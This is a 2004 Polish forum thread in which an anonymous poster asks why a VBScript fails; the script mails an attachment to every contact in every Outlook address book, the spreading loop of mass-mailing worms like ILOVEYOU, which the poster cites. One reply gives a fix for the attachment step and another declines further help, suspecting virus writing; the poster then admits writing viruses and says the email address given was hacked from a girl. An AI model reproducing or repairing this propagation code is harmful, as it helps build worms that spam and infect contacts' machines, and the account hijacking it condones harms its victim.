Strona: [  << <   1   > >>  ]  z  1     
Autor Temat: POMOCY!!!!!!!!!!
anonim




Typ: Nie zarejestrowany
POMOCY!!!!!!!!!!

Mam takie pytanko dlaczego to nie chce zadziałać???? Oto kod źródłowy. Chodzi mi o vbs
--------------------CUT----------------------------
Dim OA, MAPI, KA, Poczta, j,i
                              ' utworzenie obiektu przez
                              ' program Outlook
Set OA=WScript.CreateObject("Outlook.Application"
                              ' uzyskanie dostepu do
                              ' serwera MAPI
Set MAPI=OA.GetNameSpace("MAPI"
                              ' w petli: dla kazdej ksiazki
                              ' adresowej ...
For j=1 to MAPI.AddressLists.Count
                              ' KA jest kolejna ksiazka
                              ' adresowa
Set KA=MAPI.AddressLists(j)
                              ' w petli: dla kazdego adresu
                              ' z ksiazki adresowej KA
For i=1 to KA.AddressEntries.Count
                              ' utworzenie pojedynczej
                              ' przesylki pocztowej
Set Poczta=OA.CreateItem(0)
                              ' ustalenie odbiorcy, czyli
                              ' kolejny adres z ksiazki
                              ' adresowej
Poczta.To=KA.AddressEntries(i)
                              ' ustalenie tematu przesylki
Poczta.Subject="Temat wiadomosci"
                              ' ustalenie tresci przesylki
Poczta.Body="Tresc wiadomosci"
                              ' dodanie zalacznika
Poczta.Attachments.Add(NazwaPliku)
                              ' wyslanie poczty
Poczta.Send
                              ' koniec petli for i=1 ...
Next
                              ' koniec petli for j=1 ...
Next
                              ' usuniecie obiektu Outlook
OA.Quit
----------------------CUT--------------------------
Prosze pisac co jest nie tak

09-04-2004 07:57
  
Jelcyn
Admin forum




Typ: admin
Postów: 895
Zarejestrowany: Apr 2002

bo to działa jak ma się Outlook, a Ty masz pewnie samego Outlook Express, który jest bardzo okrojony względem Outlook'a


_____________________________________________
Jelcyn
vb4all(małpka)canpol.pl
http://www.coderscity.pl/no-vb4all * http://www.jelcyn.com

09-04-2004 19:01
Pokaż profil Jelcyn  Wyślij email do Jelcyn   Odwiedź stronę Jelcyn       270849979    6237704
anonim




Typ: Nie zarejestrowany

Wlasnie w tym problem, ze ja mam Outlooka i Outlooka Express'a , ale jako domyslny program do obslugi poczty jest ustawiony Outlook z pakietu MS Office.Jakos wirus I LOVE YOU dziala , a to nie. Inne wirusy z wykorzytsaniem tej petli tez dzialaja

09-04-2004 20:01
  
losmac
"profesorek"




Typ: neutral
Postów: 758
Zarejestrowany: May 2003

W Twoim kodzie chodzi o załączniki.

Samo podanie ścieżki do pliku załącznika nie wystarczy. Musisz przekazać obiekt: plik, korzystając z FileSystemObject.

Wtedy powinno zadziałać.

Jeśli zaś chodzi o wysyłanie poczty bez użycia Outlook'a, to jest na to sposób... Ale chyba Ci go nie podeślę, bo z Twojego posta wynika, że chcesz zająć się jakimś wirusem...


_____________________________________________
POSTULATY STARUSZKA:
1) Ludzie, dbajcie o polszczyznę!!!
2) Ludzie, zadawajcie kompletne pytania, a nie rzucacie ochłapy i trzeba się domyślać o co chodzi!!!

Powodzenia
Maciej Łoś

09-04-2004 21:18
Pokaż profil losmac  Wyślij email do losmac   Odwiedź stronę losmac  
anonim




Typ: Nie zarejestrowany

Dobra postaram sie naprawic skrypt , a mozesz mi podac ten sposob , bo po pierwsze jak pisze wirusa to go nie wypuszczam do internetu tylko umieszczam jego kod zrodlowy w celach edukacyjnych. A po drugie wirusami zajmuje sie od dawna ale rzadnego jeszcze nie opublikowalem nawet na swojej stronie.
Prosze zebysm mi podal ten sposob. Pisz na e-maila: (e-mail jest zhackowany pewnej dziewczynie)

09-04-2004 21:48
  
Wszystkich odpowiedzi: 4 :: Maxymalnie na stronę: 20
Strona: [  << <   1   > >>  ]  z  1